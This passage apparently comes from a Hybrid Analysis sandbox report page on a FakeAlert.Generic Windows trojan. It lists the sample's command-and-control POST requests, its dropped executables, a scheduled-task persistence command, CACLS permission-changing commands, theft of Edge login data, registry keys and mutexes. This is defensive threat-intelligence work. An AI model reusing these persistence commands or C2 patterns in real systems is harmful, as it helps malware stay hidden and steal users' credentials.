app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=228552&key=5142f6dc5a6da68bafa85ba6fb32e22d","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=228552&key=5142f6dc5a6da68bafa85ba6fb32e22d HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=228556&key=eaf5e85439126065620063f84b1bd4ed","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=228556&key=eaf5e85439126065620063f84b1bd4ed HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"host":"app.nnnaajjjgc.com","host_ip":"154.221.26.108:80","url":"/check/?sid=228560&key=237061103bb84639718715c79b9e9e1b","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /check/?sid=228560&key=237061103bb84639718715c79b9e9e1b HTTP/1.1\nConnection: Keep-Alive\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\nContent-Length: 160\nHost: app.nnnaajjjgc.com","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}],"processes":[{"pid":6580,"ppid":0,"name":"82ecd.Trojan.exe","command_line":"","sha256":"82ecd2b864229b43116466944478c474ac7ff2e8a0dd4f24df59d325953c2b30","normalized_path":"C:\\82ecd.Trojan.exe","uid":"00000000-00006580","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":6156,"ppid":6580,"name":"oldplayer.exe","command_line":"","sha256":"563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144","normalized_path":"%TEMP%\\oldplayer.exe","parent_uid":"00000000-00006580","uid":"00000000-00006156"},{"pid":932,"ppid":6156,"name":"oneetx.exe","command_line":"","sha256":"563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144","normalized_path":"%TEMP%\\207aa4515d\\oneetx.exe","parent_uid":"00000000-00006156","uid":"00000000-00000932"},{"pid":2028,"ppid":932,"name":"schtasks.exe","command_line":"/Create /SC MINUTE /MO 1 /TN oneetx.exe /TR \"%TEMP%\\207aa4515d\\oneetx.exe\" /F","sha256":"42661ab5aa20d0973113e10c53b988cab16e9f7ffe91c70ca69bb65d4eeb6fb8","normalized_path":"%WINDIR%\\SysWOW64\\schtasks.exe","parent_uid":"00000000-00000932","uid":"00000000-00002028"},{"pid":2788,"ppid":932,"name":"cmd.exe","command_line":"/k echo Y|CACLS \"oneetx.exe\" /P \"idMumCb:N\"&&CACLS \"oneetx.exe\" /P \"idMumCb:R\" /E&&echo Y|CACLS \"..\\207aa4515d\" /P \"idMumCb:N\"&&CACLS \"..\\207aa4515d\" /P \"idMumCb:R\" /E&&Exit","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00000932","uid":"00000000-00002788"},{"pid":2528,"ppid":2788,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /S /D /c\" echo Y\"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00002788","uid":"00000000-00002528"},{"pid":7052,"ppid":2788,"name":"cacls.exe","command_line":"CACLS \"oneetx.exe\" /P \"idMumCb:N\"","sha256":"e16021c07d09ec1faba9196323bfef861e808f49cb960837f7951cede7725d57","normalized_path":"%WINDIR%\\SysWOW64\\cacls.exe","parent_uid":"00000000-00002788","uid":"00000000-00007052"},{"pid":3812,"ppid":2788,"name":"cacls.exe","command_line":"CACLS \"oneetx.exe\" /P \"idMumCb:R\" /E","sha256":"e16021c07d09ec1faba9196323bfef861e808f49cb960837f7951cede7725d57","normalized_path":"%WINDIR%\\SysWOW64\\cacls.exe","parent_uid":"00000000-00002788","uid":"00000000-00003812"},{"pid":7128,"ppid":2788,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /S /D /c\" echo Y\"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00002788","uid":"00000000-00007128"},{"pid":6044,"ppid":2788,"name":"cacls.exe","command_line":"CACLS \"..\\207aa4515d\" /P \"idMumCb:N\"","sha256":"e16021c07d09ec1faba9196323bfef861e808f49cb960837f7951cede7725d57","normalized_path":"%WINDIR%\\SysWOW64\\cacls.exe","parent_uid":"00000000-00002788","uid":"00000000-00006044"},{"pid":3520,"ppid":2788,"name":"cacls.exe","command_line":"CACLS \"..\\207aa4515d\" /P \"idMumCb:R\" /E","sha256":"e16021c07d09ec1faba9196323bfef861e808f49cb960837f7951cede7725d57","normalized_path":"%WINDIR%\\SysWOW64\\cacls.exe","parent_uid":"00000000-00002788","uid":"00000000-00003520"},{"pid":6112,"ppid":6580,"name":"ss41.exe","command_line":"","sha256":"b20a10018c71a9dffe1b76b1be20fd71abc3bb4ccc5c485012288de14caaba5a","normalized_path":"%TEMP%\\ss41.exe","parent_uid":"00000000-00006580","uid":"00000000-00006112"},{"pid":5192,"ppid":0,"name":"oneetx.exe","command_line":"","sha256":"563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144","normalized_path":"%TEMP%\\207aa4515d\\oneetx.exe","uid":"00000000-00005192","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7488,"ppid":0,"name":"oneetx.exe","command_line":"","sha256":"563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144","normalized_path":"%TEMP%\\207aa4515d\\oneetx.exe","uid":"00000000-00007488","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="}],"all_imported_dlls":["WinTypes.dll","ucrtbase.dll","ntmarta.dll","iertutil.dll","TextInputFramework.dll","rasadhlp.dll","dpapi.dll","wtsapi32.dll","windows.storage.dll","msvcp_win.dll","Windows.StateRepositoryPS.dll","dui70.dll","OneCoreUAPCommonProxyStub.dll","CoreUIComponents.dll","ncrypt.dll","sechost.dll","winsta.dll","nsi.dll","ncryptsslp.dll","cfgmgr32.dll","gdi32.dll","CoreMessaging.dll","dhcpcsvc6.dll","winhttp.dll","mswsock.dll","crypt32.dll","msasn1.dll","dhcpcsvc.dll","shlwapi.dll","imm32.dll","VxSSL32.dll","fltLib.dll","ExplorerFrame.dll","wow64win.dll","user32.dll","wow64cpu.dll","ole32.dll","comctl32.dll","OnDemandConnRouteHelper.dll","taskschd.dll","KernelBase.dll","sspicli.dll","advapi32.dll","uxtheme.dll","GdiPlus.dll","ntasn1.dll","rpcrt4.dll","win32u.dll","clbcatq.dll","msIso.dll","msctf.dll","dwmapi.dll","oleacc.dll","winnsi.dll","shell32.dll","bcrypt.dll","dnsapi.dll","schannel.dll","kernel32.dll","SHCore.dll","profapi.dll","aepic.dll","edputil.dll","VxSSL64.dll","FWPUCLNT.DLL","mskeyprotect.dll","bcryptprimitives.dll","gdi32full.dll","oleaut32.dll","cryptsp.dll","duser.dll","chartv.dll","atlthunk.dll","gpapi.dll","ntdll.dll","apphelp.dll","propsys.dll","sxs.dll","IPHLPAPI.DLL","wintrust.dll","rsaenh.dll","cldapi.dll","imagehlp.dll","cryptbase.dll","kernel.appcore.dll","powrprof.dll","ws2_32.dll","cryptnet.dll","wow64.dll","msvcrt.dll","combase.dll","urlmon.dll","wininet.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"oneetx.exe","sha256":"563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"oldplayer.exe","sha256":"563acabe49cc451e9caac20fae780bad27ea09aaefaaf8a1dfd838a00de97144","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"ss41.exe","sha256":"b20a10018c71a9dffe1b76b1be20fd71abc3bb4ccc5c485012288de14caaba5a","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"Login Data111","sha256":"c75084ee623451406f12a4e30624ffd844cfdada8204356a14084a3e10073926","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"d9e0d364197915c50023ab0820646da3","sha256":"2f58cf8f86a00d28e03873656c157f7e776d0e7feb15cbf0a37bfcf9f27cc137","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sha256":"77a3cfe6b7eb676af438d5de88c7efcb6abcc494e0b65da90201969e6d79b2a3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"imagd_1_.jpg","sha256":"6af35e7b71af7e1cfa873415050f11800352aec9c493c3c769781c1513a23b0c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]}],"files_written":[{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\LSCBY323\\imagd[1].jpg","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Network\\d9e0d364197915c50023ab0820646da3","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Login Data111","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\DESKTOP\\NAMESPACE\\\\","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\DESKTOP\\NAMESPACE\\\\","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\DESKTOP\\NAMESPACE\\DELEGATEFOLDERS\\\\","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"Local\\SM0:6580:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"Local\\SM0:6580:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"SM0:6580:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"Local\\SM0:6156:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"Local\\SM0:6156:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"SM0:6156:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"Local\\SessionImmersiveColorMutex","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"Local\\SM0:6112:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"SM0:6112:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"Local\\SM0:932:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"SM0:932:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"07c6bc37dc50874878dcb010336ed906","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"Local\\SM0:932:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6112:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6112:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"64f27bae39b7b26100010c42"}]}]}},"report_ids":{"sandbox_job_ids":["64f27bae39b7b26100010c42"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious FakeAlert.Generic Sample 82ecd2b86422… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 82ecd2b86422…. Malware family: FakeAlert.Generic. Threat score 100/100. 14/28 AV engines flagged this file. 12 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/82ecd2b864229b43116466944478c474ac7ff2e8a0dd4f24df59d325953c2b30"}],["$","meta","4",{"property":"og:title","content":"Malicious FakeAlert.Generic Sample 82ecd2b86422… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 82ecd2b86422…. Malware family: FakeAlert.Generic. Threat score 100/100. 14/28 AV engines flagged this file. 12 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/82ecd2b864229b43116466944478c474ac7ff2e8a0dd4f24df59d325953c2b30"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious FakeAlert.Generic Sample 82ecd2b86422… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 82ecd2b86422…. Malware family: FakeAlert.Generic. Threat score 100/100. 14/28 AV engines flagged this file. 12 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L5a","11",{}]]